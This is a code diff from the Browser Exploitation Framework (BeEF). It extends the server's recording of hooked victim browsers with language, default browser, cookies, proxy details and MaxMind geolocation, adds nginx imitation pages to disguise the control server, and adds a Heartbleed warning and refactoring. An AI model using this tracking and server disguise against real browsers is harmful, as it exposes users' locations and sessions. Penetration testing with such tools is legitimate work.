print_error "[INIT] Geolocation failed - Could not find MaxMind GeoIP database '#{geoip_file}'"
|
||||
print_more "Download: http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz"
|
||||
end
|
||||
end
|
||||
|
||||
# detect browser proxy
|
||||
using_proxy = false
|
||||
[
|
||||
@@ -119,7 +149,7 @@ module BeEF
|
||||
if using_proxy == true
|
||||
BD.set(session_id, 'UsingProxy', "#{using_proxy}")
|
||||
proxy_log_string = "#{zombie.ip} is using a proxy"
|
||||
unless proxy_clients.nil?
|
||||
unless proxy_clients.empty?
|
||||
BD.set(session_id, 'ProxyClient', "#{proxy_clients.sort.uniq.join(',')}")
|
||||
proxy_log_string += " [client: #{proxy_clients.sort.uniq.join(',')}]"
|
||||
end
|
||||
@@ -146,6 +176,10 @@ module BeEF
|
||||
self.err_msg "Invalid browser string returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store browser language
|
||||
browser_lang = get_param(@data['results'], 'BrowserLanguage')
|
||||
BD.set(session_id, 'BrowserLanguage', browser_lang)
|
||||
|
||||
# get and store the cookies
|
||||
cookies = get_param(@data['results'], 'Cookies')
|
||||
if BeEF::Filters.is_valid_cookies?(cookies)
|
||||
@@ -162,6 +196,10 @@ module BeEF
|
||||
self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store default browser
|
||||
default_browser = get_param(@data['results'], 'DefaultBrowser')
|
||||
BD.set(session_id, 'DefaultBrowser', default_browser)
|
||||
|
||||
# get and store the hardware name
|
||||
hw_name = get_param(@data['results'], 'Hardware')
|
||||
if BeEF::Filters.is_valid_hwname?(hw_name)
|
||||
@@ -250,105 +288,25 @@ module BeEF
|
||||
self.err_msg "Invalid window size returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for VBScriptEnabled
|
||||
vbscript_enabled = get_param(@data['results'], 'VBScriptEnabled')
|
||||
if BeEF::Filters.is_valid_yes_no?(vbscript_enabled)
|
||||
BD.set(session_id, 'VBScriptEnabled', vbscript_enabled)
|
||||
else
|
||||
self.err_msg "Invalid value for VBScriptEnabled returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasFlash
|
||||
has_flash = get_param(@data['results'], 'HasFlash')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_flash)
|
||||
BD.set(session_id, 'HasFlash', has_flash)
|
||||
else
|
||||
self.err_msg "Invalid value for HasFlash returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasPhonegap
|
||||
has_phonegap = get_param(@data['results'], 'HasPhonegap')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_phonegap)
|
||||
BD.set(session_id, 'HasPhonegap', has_phonegap)
|
||||
else
|
||||
self.err_msg "Invalid value for HasPhonegap returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasGoogleGears
|
||||
has_googlegears = get_param(@data['results'], 'HasGoogleGears')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_googlegears)
|
||||
BD.set(session_id, 'HasGoogleGears', has_googlegears)
|
||||
else
|
||||
self.err_msg "Invalid value for HasGoogleGears returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasFoxit
|
||||
has_foxit = get_param(@data['results'], 'HasFoxit')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_foxit)
|
||||
BD.set(session_id, 'HasFoxit', has_foxit)
|
||||
else
|
||||
self.err_msg "Invalid value for HasFoxit returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasWebSocket
|
||||
has_web_socket = get_param(@data['results'], 'HasWebSocket')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_web_socket)
|
||||
BD.set(session_id, 'HasWebSocket', has_web_socket)
|
||||
else
|
||||
self.err_msg "Invalid value for HasWebSocket returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasWebRTC
|
||||
has_webrtc = get_param(@data['results'], 'HasWebRTC')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_webrtc)
|
||||
BD.set(session_id, 'HasWebRTC', has_webrtc)
|
||||
else
|
||||
self.err_msg "Invalid value for HasWebRTC returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasActiveX
|
||||
has_activex = get_param(@data['results'], 'HasActiveX')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_activex)
|
||||
BD.set(session_id, 'HasActiveX', has_activex)
|
||||
else
|
||||
self.err_msg "Invalid value for HasActiveX returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasSilverlight
|
||||
has_silverlight = get_param(@data['results'], 'HasSilverlight')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_silverlight)
|
||||
BD.set(session_id, 'HasSilverlight', has_silverlight)
|
||||
else
|
||||
self.err_msg "Invalid value for HasSilverlight returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasQuickTime
|
||||
has_quicktime = get_param(@data['results'], 'HasQuickTime')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_quicktime)
|
||||
BD.set(session_id, 'HasQuickTime', has_quicktime)
|
||||
else
|
||||
self.err_msg "Invalid value for HasQuickTime returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasRealPlayer
|
||||
has_realplayer = get_param(@data['results'], 'HasRealPlayer')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_realplayer)
|
||||
BD.set(session_id, 'HasRealPlayer', has_realplayer)
|
||||
else
|
||||
self.err_msg "Invalid value for HasRealPlayer returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasWMP
|
||||
has_wmp = get_param(@data['results'], 'HasWMP')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_wmp)
|
||||
BD.set(session_id, 'HasWMP', has_wmp)
|
||||
else
|
||||
self.err_msg "Invalid value for HasWMP returned from the hook browser's initial connection."
|
||||
# get and store the yes|no value for browser components
|
||||
components = [
|
||||
'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears',
|
||||
'HasFoxit', 'HasWebSocket', 'HasWebRTC', 'HasActiveX',
|
||||
'HasSilverlight', 'HasQuickTime', 'HasRealPlayer', 'HasWMP',
|
||||
'hasSessionCookies', 'hasPersistentCookies'
|
||||
]
|
||||
components.each do |k|
|
||||
v = get_param(@data['results'], k)
|
||||
if BeEF::Filters.is_valid_yes_no?(v)
|
||||
BD.set(session_id, k, v)
|
||||
else
|
||||
self.err_msg "Invalid value for #{k} returned from the hook browser's initial connection."
|
||||
end
|
||||
end
|
||||
|
||||
# get and store the value for CPU
|
||||
cpu_type = get_param(@data['results'], 'CPU')
|
||||
if !cpu_type.nil?
|
||||
if BeEF::Filters.is_valid_cpu?(cpu_type)
|
||||
BD.set(session_id, 'CPU', cpu_type)
|
||||
else
|
||||
self.err_msg "Invalid value for CPU returned from the hook browser's initial connection."
|
||||
@@ -362,22 +320,6 @@ module BeEF
|
||||
self.err_msg "Invalid value for TouchEnabled returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store whether the browser has session cookies enabled
|
||||
has_session_cookies = get_param(@data['results'], 'hasSessionCookies')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_session_cookies)
|
||||
BD.set(session_id, 'hasSessionCookies', has_session_cookies)
|
||||
else
|
||||
self.err_msg "Invalid value for hasSessionCookies returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store whether the browser has persistent cookies enabled
|
||||
has_persistent_cookies = get_param(@data['results'], 'hasPersistentCookies')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_persistent_cookies)
|
||||
BD.set(session_id, 'hasPersistentCookies', has_persistent_cookies)
|
||||
else
|
||||
self.err_msg "Invalid value for hasPersistentCookies returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# log a few info of newly hooked zombie in the console
|
||||
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
|
||||
|
||||
|
||||
@@ -66,6 +66,15 @@ module BeEF
|
||||
"and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>" +
|
||||
"</ul>" +
|
||||
"</TD></TR></TABLE></BODY></HTML>"
|
||||
when "nginx"
|
||||
#response body
|
||||
"<html>\n"+
|
||||
"<head><title>404 Not Found</title></head>\n" +
|
||||
"<body bgcolor=\"white\">\n" +
|
||||
"<center><h1>404 Not Found</h1></center>\n" +
|
||||
"<hr><center>nginx</center>\n" +
|
||||
"</body>\n" +
|
||||
"</html>\n"
|
||||
else
|
||||
"Not Found."
|
||||
end
|
||||
@@ -87,12 +96,15 @@ module BeEF
|
||||
headers "Server" => "Microsoft-IIS/6.0",
|
||||
"X-Powered-By" => "ASP.NET",
|
||||
"Content-Type" => "text/html; charset=UTF-8"
|
||||
when "nginx"
|
||||
headers "Server" => "nginx",
|
||||
"Content-Type" => "text/html"
|
||||
else
|
||||
print_error "You have and error in beef.http.web_server_imitation.type! Supported values are: apache, iis."
|
||||
print_error "You have an error in beef.http.web_server_imitation.type! Supported values are: apache, iis, nginx."
|
||||
end
|
||||
end
|
||||
|
||||
# @note If CORS are enabled, expose the appropriate headers
|
||||
# @note If CORS is enabled, expose the appropriate headers
|
||||
# this apparently duplicate code is needed to reply to preflight OPTIONS requests, which need to respond with a 200
|
||||
# and be able to handle requests with a JSON content-type
|
||||
if request.request_method == 'OPTIONS' && config.get("beef.http.restful_api.allow_cors")
|
||||
@@ -103,7 +115,7 @@ module BeEF
|
||||
halt 200
|
||||
end
|
||||
|
||||
# @note If CORS are enabled, expose the appropriate headers
|
||||
# @note If CORS is enabled, expose the appropriate headers
|
||||
if config.get("beef.http.restful_api.allow_cors")
|
||||
allowed_domains = config.get("beef.http.restful_api.cors_allowed_domains")
|
||||
headers "Access-Control-Allow-Origin" => allowed_domains,
|
||||
@@ -255,6 +267,30 @@ module BeEF
|
||||
"</table>" +
|
||||
"</body>" +
|
||||
"</html>"
|
||||
when "nginx"
|
||||
"<!DOCTYPE html>\n" +
|
||||
"<html>\n" +
|
||||
"<head>\n" +
|
||||
"<title>Welcome to nginx!</title>\n" +
|
||||
"<style>\n" +
|
||||
" body {\n" +
|
||||
" width: 35em;\n" +
|
||||
" margin: 0 auto;\n" +
|
||||
" font-family: Tahoma, Verdana, Arial, sans-serif;\n" +
|
||||
" }\n" +
|
||||
"</style>\n" +
|
||||
"</head>\n" +
|
||||
"<body>\n" +
|
||||
"<h1>Welcome to nginx!</h1>\n" +
|
||||
"<p>If you see this page, the nginx web server is successfully installed and\n" +
|
||||
"working. Further configuration is required.</p>\n\n" +
|
||||
"<p>For online documentation and support please refer to\n" +
|
||||
"<a href=\"http://nginx.org/\">nginx.org</a>.<br/>\n" +
|
||||
"Commercial support is available at\n" +
|
||||
"<a href=\"http://nginx.com/\">nginx.com</a>.</p>\n\n" +
|
||||
"<p><em>Thank you for using nginx.</em></p>\n" +
|
||||
"</body>\n" +
|
||||
"</html>\n"
|
||||
else
|
||||
""
|
||||
end
|
||||
@@ -264,4 +300,4 @@ module BeEF
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -108,6 +108,11 @@ module BeEF
|
||||
@rack_app)
|
||||
|
||||
if @configuration.get('beef.http.https.enable') == true
|
||||
openssl_version = OpenSSL::OPENSSL_VERSION
|
||||
if openssl_version =~ / 1\.0\.1([a-f])/
|
||||
print_warning "Warning: #{openssl_version} is vulnerable to Heartbleed (CVE-2014-0160)."
|
||||
print_more "Upgrade OpenSSL to version 1.0.1g or newer."
|
||||
end
|
||||
@http_server.ssl = true
|
||||
@http_server.ssl_options = {:private_key_file => $root_dir + "/" + @configuration.get('beef.http.https.key'),
|
||||
:cert_chain_file => $root_dir + "/" + @configuration.get('beef.http.https.cert'),
|
||||
|
||||
281
core/module.rb
281
core/module.rb
@@ -17,21 +17,21 @@ module BeEF
|
||||
# @param [String] mod module key
|
||||
# @return [Boolean] if the module key is enabled in BeEF's configuration
|
||||
def self.is_enabled(mod)
|
||||
return (self.is_present(mod) and BeEF::Core::Configuration.instance.get('beef.module.'+mod.to_s+'.enable') == true)
|
||||
return (self.is_present(mod) and BeEF::Core::Configuration.instance.get("beef.module.#{mod}.enable") == true)
|
||||
end
|
||||
|
||||
# Checks to see if the module reports that it has loaded through the configuration
|
||||
# @param [String] mod module key
|
||||
# @return [Boolean] if the module key is loaded in BeEF's configuration
|
||||
def self.is_loaded(mod)
|
||||
return (self.is_enabled(mod) and BeEF::Core::Configuration.instance.get('beef.module.'+mod.to_s+'.loaded') == true)
|
||||
return (self.is_enabled(mod) and BeEF::Core::Configuration.instance.get("beef.module.#{mod}.loaded") == true)
|
||||
end
|
||||
|
||||
# Returns module class definition
|
||||
# @param [String] mod module key
|
||||
# @return [Class] the module class
|
||||
def self.get_definition(mod)
|
||||
return BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get("beef.module.#{mod.to_s}.class"))
|
||||
return BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get("beef.module.#{mod}.class"))
|
||||
end
|
||||
|
||||
# Gets all module options
|
||||
@@ -83,19 +83,20 @@ module BeEF
|
||||
# API call for pre-soft-load module
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'pre_soft_load', mod)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
if not config.get("beef.module.#{mod}.loaded")
|
||||
if File.exists?($root_dir+"/"+config.get('beef.module.'+mod+'.path')+'/module.rb')
|
||||
BeEF::Core::Configuration.instance.set('beef.module.'+mod+'.class', mod.capitalize)
|
||||
self.parse_targets(mod)
|
||||
print_debug "Soft Load module: '#{mod}'"
|
||||
# API call for post-soft-load module
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_soft_load', mod)
|
||||
return true
|
||||
else
|
||||
print_debug "Unable to locate module file: #{config.get('beef.module.'+mod+'.path')}module.rb"
|
||||
mod_str = "beef.module.#{mod}"
|
||||
if not config.get("#{mod_str}.loaded")
|
||||
if not File.exists?("#{$root_dir}/#{config.get("#{mod_str}.path")}/module.rb")
|
||||
print_debug "Unable to locate module file: #{config.get("#{mod_str}.path")}/module.rb"
|
||||
return false
|
||||
end
|
||||
print_error "Unable to load module '#{mod}'"
|
||||
BeEF::Core::Configuration.instance.set("#{mod_str}.class", mod.capitalize)
|
||||
self.parse_targets(mod)
|
||||
print_debug "Soft Load module: '#{mod}'"
|
||||
# API call for post-soft-load module
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_soft_load', mod)
|
||||
return true
|
||||
end
|
||||
print_error "Unable to load module '#{mod}'"
|
||||
return false
|
||||
end
|
||||
|
||||
@@ -109,28 +110,29 @@ module BeEF
|
||||
# API call for pre-hard-load module
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'pre_hard_load', mod)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
if self.is_enabled(mod)
|
||||
begin
|
||||
require config.get("beef.module.#{mod}.path")+'module.rb'
|
||||
if self.exists?(config.get("beef.module.#{mod}.class"))
|
||||
# start server mount point
|
||||
BeEF::Core::Server.instance.mount("/command/#{mod}.js", BeEF::Core::Handlers::Commands, mod)
|
||||
BeEF::Core::Configuration.instance.set("beef.module.#{mod}.mount", "/command/#{mod}.js")
|
||||
BeEF::Core::Configuration.instance.set('beef.module.'+mod+'.loaded', true)
|
||||
print_debug "Hard Load module: '#{mod.to_s}'"
|
||||
# API call for post-hard-load module
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_hard_load', mod)
|
||||
return true
|
||||
else
|
||||
print_error "Hard loaded module '#{mod.to_s}' but the class BeEF::Core::Commands::#{mod.capitalize} does not exist"
|
||||
end
|
||||
rescue => e
|
||||
BeEF::Core::Configuration.instance.set('beef.module.'+mod+'.loaded', false)
|
||||
print_error "There was a problem loading the module '#{mod.to_s}'"
|
||||
print_debug "Hard load module syntax error: #{e.to_s}"
|
||||
if not self.is_enabled(mod)
|
||||
print_error "Hard load attempted on module '#{mod}' that is not enabled."
|
||||
return false
|
||||
end
|
||||
mod_str = "beef.module.#{mod}"
|
||||
begin
|
||||
require config.get("#{mod_str}.path")+'module.rb'
|
||||
if self.exists?(config.get("#{mod_str}.class"))
|
||||
# start server mount point
|
||||
BeEF::Core::Server.instance.mount("/command/#{mod}.js", BeEF::Core::Handlers::Commands, mod)
|
||||
BeEF::Core::Configuration.instance.set("#{mod_str}.mount", "/command/#{mod}.js")
|
||||
BeEF::Core::Configuration.instance.set("#{mod_str}.loaded", true)
|
||||
print_debug "Hard Load module: '#{mod}'"
|
||||
# API call for post-hard-load module
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_hard_load', mod)
|
||||
return true
|
||||
else
|
||||
print_error "Hard loaded module '#{mod}' but the class BeEF::Core::Commands::#{mod.capitalize} does not exist"
|
||||
end
|
||||
else
|
||||
print_error "Hard load attempted on module '#{mod.to_s}' that is not enabled."
|
||||
rescue => e
|
||||
BeEF::Core::Configuration.instance.set("#{mod_str}.loaded", false)
|
||||
print_error "There was a problem loading the module '#{mod}'"
|
||||
print_debug "Hard load module syntax error: #{e}"
|
||||
end
|
||||
return false
|
||||
end
|
||||
@@ -184,112 +186,113 @@ module BeEF
|
||||
# 4+ = As above but with extra parameters.
|
||||
# Please note this rating system has no correlation to the return constant value BeEF::Core::Constants::CommandModule::*
|
||||
def self.support(mod, opts)
|
||||
target_config = BeEF::Core::Configuration.instance.get('beef.module.'+mod+'.target')
|
||||
if target_config and opts.kind_of? Hash
|
||||
if opts.key?('browser')
|
||||
results = []
|
||||
target_config.each{|k,m|
|
||||
m.each{|v|
|
||||
case v
|
||||
when String
|
||||
if opts['browser'] == v
|
||||
# if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
||||
# rating += 1
|
||||
# end
|
||||
results << {'rating' => 2, 'const' => k}
|
||||
end
|
||||
when Hash
|
||||
if opts['browser'] == v.keys.first or v.keys.first == BeEF::Core::Constants::Browsers::ALL
|
||||
subv = v[v.keys.first]
|
||||
rating = 1
|
||||
#version check
|
||||
if opts.key?('ver')
|
||||
if subv.key?('min_ver')
|
||||
if subv['min_ver'].kind_of? Fixnum and opts['ver'].to_i >= subv['min_ver']
|
||||
rating += 1
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
if subv.key?('max_ver')
|
||||
if (subv['max_ver'].kind_of? Fixnum and opts['ver'].to_i <= subv['max_ver']) or subv['max_ver'] == "latest"
|
||||
rating += 1
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
# os check
|
||||
if opts.key?('os') and subv.key?('os')
|
||||
match = false
|
||||
opts['os'].each{|o|
|
||||
case subv['os']
|
||||
when String
|
||||
if o == subv['os']
|
||||
rating += 1
|
||||
match = true
|
||||
elsif subv['os'] == BeEF::Core::Constants::Os::OS_ALL_UA_STR
|
||||
match = true
|
||||
end
|
||||
when Array
|
||||
subv['os'].each{|p|
|
||||
if o == p
|
||||
rating += 1
|
||||
match = true
|
||||
elsif p == BeEF::Core::Constants::Os::OS_ALL_UA_STR
|
||||
match = true
|
||||
end
|
||||
}
|
||||
end
|
||||
}
|
||||
if not match
|
||||
break
|
||||
end
|
||||
end
|
||||
if rating > 0
|
||||
# if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
||||
# rating += 1
|
||||
# end
|
||||
results << {'rating' => rating, 'const' => k}
|
||||
end
|
||||
end
|
||||
end
|
||||
if v == BeEF::Core::Constants::Browsers::ALL
|
||||
rating = 1
|
||||
if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
||||
rating = 1
|
||||
end
|
||||
results << {'rating' => rating, 'const' => k}
|
||||
end
|
||||
}
|
||||
}
|
||||
if results.count > 0
|
||||
result = {}
|
||||
results.each {|r|
|
||||
if result == {}
|
||||
result = {'rating' => r['rating'], 'const' => r['const']}
|
||||
else
|
||||
if r['rating'] > result['rating']
|
||||
result = {'rating' => r['rating'], 'const' => r['const']}
|
||||
end
|
||||
end
|
||||
}
|
||||
return result['const']
|
||||
else
|
||||
return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
|
||||
end
|
||||
else
|
||||
print_error "BeEF::Module.support() was passed a hash without a valid browser constant"
|
||||
end
|
||||
target_config = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.target")
|
||||
if not target_config or not opts.kind_of? Hash
|
||||
return nil
|
||||
end
|
||||
if not opts.key?('browser')
|
||||
print_error "BeEF::Module.support() was passed a hash without a valid browser constant"
|
||||
return nil
|
||||
end
|
||||
results = []
|
||||
target_config.each{|k,m|
|
||||
m.each{|v|
|
||||
case v
|
||||
when String
|
||||
if opts['browser'] == v
|
||||
# if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
||||
# rating += 1
|
||||
# end
|
||||
results << {'rating' => 2, 'const' => k}
|
||||
end
|
||||
when Hash
|
||||
if opts['browser'] == v.keys.first or v.keys.first == BeEF::Core::Constants::Browsers::ALL
|
||||
subv = v[v.keys.first]
|
||||
rating = 1
|
||||
#version check
|
||||
if opts.key?('ver')
|
||||
if subv.key?('min_ver')
|
||||
if subv['min_ver'].kind_of? Fixnum and opts['ver'].to_i >= subv['min_ver']
|
||||
rating += 1
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
if subv.key?('max_ver')
|
||||
if (subv['max_ver'].kind_of? Fixnum and opts['ver'].to_i <= subv['max_ver']) or subv['max_ver'] == "latest"
|
||||
rating += 1
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
# os check
|
||||
if opts.key?('os') and subv.key?('os')
|
||||
match = false
|
||||
opts['os'].each{|o|
|
||||
case subv['os']
|
||||
when String
|
||||
if o == subv['os']
|
||||
rating += 1
|
||||
match = true
|
||||
elsif subv['os'] == BeEF::Core::Constants::Os::OS_ALL_UA_STR
|
||||
match = true
|
||||
end
|
||||
when Array
|
||||
subv['os'].each{|p|
|
||||
if o == p
|
||||
rating += 1
|
||||
match = true
|
||||
elsif p == BeEF::Core::Constants::Os::OS_ALL_UA_STR
|
||||
match = true
|
||||
end
|
||||
}
|
||||
end
|
||||
}
|
||||
if not match
|
||||
break
|
||||
end
|
||||
end
|
||||
if rating > 0
|
||||
# if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
||||
# rating += 1
|
||||
# end
|
||||
results << {'rating' => rating, 'const' => k}
|
||||
end
|
||||
end
|
||||
end
|
||||
if v == BeEF::Core::Constants::Browsers::ALL
|
||||
rating = 1
|
||||
if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
||||
rating = 1
|
||||
end
|
||||
results << {'rating' => rating, 'const' => k}
|
||||
end
|
||||
}
|
||||
}
|
||||
if results.count > 0
|
||||
result = {}
|
||||
results.each {|r|
|
||||
if result == {}
|
||||
result = {'rating' => r['rating'], 'const' => r['const']}
|
||||
else
|
||||
if r['rating'] > result['rating']
|
||||
result = {'rating' => r['rating'], 'const' => r['const']}
|
||||
end
|
||||
end
|
||||
}
|
||||
return result['const']
|
||||
else
|
||||
return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
# Translates module target configuration
|
||||
# @note Takes the user defined target configuration and replaces it with equivalent a constant based generated version
|
||||
# @param [String] mod module key
|
||||
def self.parse_targets(mod)
|
||||
target_config = BeEF::Core::Configuration.instance.get('beef.module.'+mod+'.target')
|
||||
mod_str = "beef.module.#{mod}"
|
||||
target_config = BeEF::Core::Configuration.instance.get("#{mod_str}.target")
|
||||
if target_config
|
||||
targets = {}
|
||||
target_config.each{|k,v|
|
||||
@@ -331,11 +334,11 @@ module BeEF
|
||||
end
|
||||
end
|
||||
rescue NameError
|
||||
print_error "Module \"#{mod}\" configuration has invalid target status defined \"#{k}\""
|
||||
print_error "Module '#{mod}' configuration has invalid target status defined '#{k}'"
|
||||
end
|
||||
}
|
||||
BeEF::Core::Configuration.instance.clear("beef.module.#{mod}.target")
|
||||
BeEF::Core::Configuration.instance.set("beef.module.#{mod}.target", targets)
|
||||
BeEF::Core::Configuration.instance.clear("#{mod_str}.target")
|
||||
BeEF::Core::Configuration.instance.set("#{mod_str}.target", targets)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -351,7 +354,7 @@ module BeEF
|
||||
browser = BeEF::Core::Constants::Browsers.const_get(v.upcase)
|
||||
end
|
||||
rescue NameError
|
||||
print_error "Could not identify browser target specified as \"#{v}\""
|
||||
print_error "Could not identify browser target specified as '#{v}'"
|
||||
end
|
||||
else
|
||||
print_error "Invalid datatype passed to BeEF::Module.match_target_browser()"
|
||||
@@ -407,7 +410,7 @@ module BeEF
|
||||
os = BeEF::Core::Constants::Os.const_get("OS_#{v.upcase}_UA_STR")
|
||||
end
|
||||
rescue NameError
|
||||
print_error "Could not identify OS target specified as \"#{v}\""
|
||||
print_error "Could not identify OS target specified as '#{v}'"
|
||||
end
|
||||
else
|
||||
print_error "Invalid datatype passed to BeEF::Module.match_target_os()"
|
||||
|
||||
@@ -16,6 +16,18 @@ def print_info(s)
|
||||
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[*]'.blue+' '+s
|
||||
end
|
||||
|
||||
# Function used to print information to the console (wraps print_info)
|
||||
# @param [String] s String to be printed
|
||||
def print_status(s)
|
||||
print_info(s)
|
||||
end
|
||||
|
||||
# Function used to print warning information
|
||||
# @param [String] s String to be printed
|
||||
def print_warning(s)
|
||||
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[!]'.yellow+' '+s.to_s
|
||||
end
|
||||
|
||||
# Function used to print debug information
|
||||
# @param [String] s String to be printed
|
||||
# @note This function will only print messages if the debug flag is set to true
|
||||
@@ -32,6 +44,12 @@ def print_success(s)
|
||||
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[+]'.green+' '+s
|
||||
end
|
||||
|
||||
# Function used to print successes to the console (wraps print_success)
|
||||
# @param [String] s String to be printed
|
||||
def print_good(s)
|
||||
print_success(s)
|
||||
end
|
||||
|
||||
# Print multiple lines with decoration split by the return character
|
||||
# @param [String] s String to be printed
|
||||
# @note The string passed needs to be separated by the "\n" for multiple lines to be printed
|
||||
|
||||
@@ -69,8 +69,12 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
['Browser', 'Browser Name', 'BrowserName'],
|
||||
['Browser', 'Browser Version', 'BrowserVersion'],
|
||||
['Browser', 'Browser UA String', 'BrowserReportedName'],
|
||||
['Browser', 'Browser Language', 'BrowserLanguage'],
|
||||
['Browser', 'Browser Platform', 'BrowserPlatform'],
|
||||
['Browser', 'Browser Plugins', 'BrowserPlugins'],
|
||||
['Browser', 'Using Proxy', 'UsingProxy'],
|
||||
['Browser', 'Proxy Client', 'ProxyClient'],
|
||||
['Browser', 'Proxy Server', 'ProxyServer'],
|
||||
['Browser', 'Window Size', 'WindowSize'],
|
||||
|
||||
# Browser Components
|
||||
@@ -91,6 +95,20 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
|
||||
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
|
||||
|
||||
# Geolocation
|
||||
['Location', 'City', 'LocationCity'],
|
||||
['Location', 'Country', 'LocationCountry'],
|
||||
['Location', 'CountryCode2', 'LocationCountryCode2'],
|
||||
['Location', 'CountryCode3', 'LocationCountryCode3'],
|
||||
['Location', 'Continent', 'LocationContinentCode'],
|
||||
['Location', 'Post Code', 'LocationPostCode'],
|
||||
['Location', 'Latitude', 'LocationLatitude'],
|
||||
['Location', 'Longitude', 'LocationLongitude'],
|
||||
['Location', 'DMA Code', 'LocationDMACode'],
|
||||
['Location', 'Area Code', 'LocationAreaCode'],
|
||||
['Location', 'Timezone', 'LocationTimezone'],
|
||||
['Location', 'Region', 'LocationRegionName'],
|
||||
|
||||
# Hooked Page
|
||||
['Hooked Page', 'Page Title', 'PageTitle'],
|
||||
['Hooked Page', 'Page URI', 'PageURI'],
|
||||
@@ -103,6 +121,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
['Host', 'Operating System', 'OsName'],
|
||||
['Host', 'Hardware', 'Hardware'],
|
||||
['Host', 'CPU', 'CPU'],
|
||||
['Host', 'Default Browser', 'DefaultBrowser'],
|
||||
['Host', 'Screen Size', 'ScreenSize'],
|
||||
['Host', 'Touch Screen', 'TouchEnabled']
|
||||
]
|
||||
@@ -326,29 +345,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
if(dynamic_modules != nil)
|
||||
all_modules = BeEF::Core::Models::CommandModule.all(:order => [:id.asc])
|
||||
all_modules.each{|dyn_mod|
|
||||
next if !dyn_mod.path.split('/').first.match(/^Dynamic/)
|
||||
|
||||
hook_session_id = @params['zombie_session'] || nil
|
||||
(print_error "hook_session_id is nil";return) if hook_session_id.nil?
|
||||
|
||||
dyn_mod_name = dyn_mod.path.split('/').last
|
||||
dyn_mod_category = nil
|
||||
if(dyn_mod_name == "Msf")
|
||||
dyn_mod_category = "Metasploit"
|
||||
else
|
||||
# future dynamic modules...
|
||||
end
|
||||
|
||||
print_debug ("Loading Dynamic command module: category [#{dyn_mod_category}] - name [#{dyn_mod.name.to_s}]")
|
||||
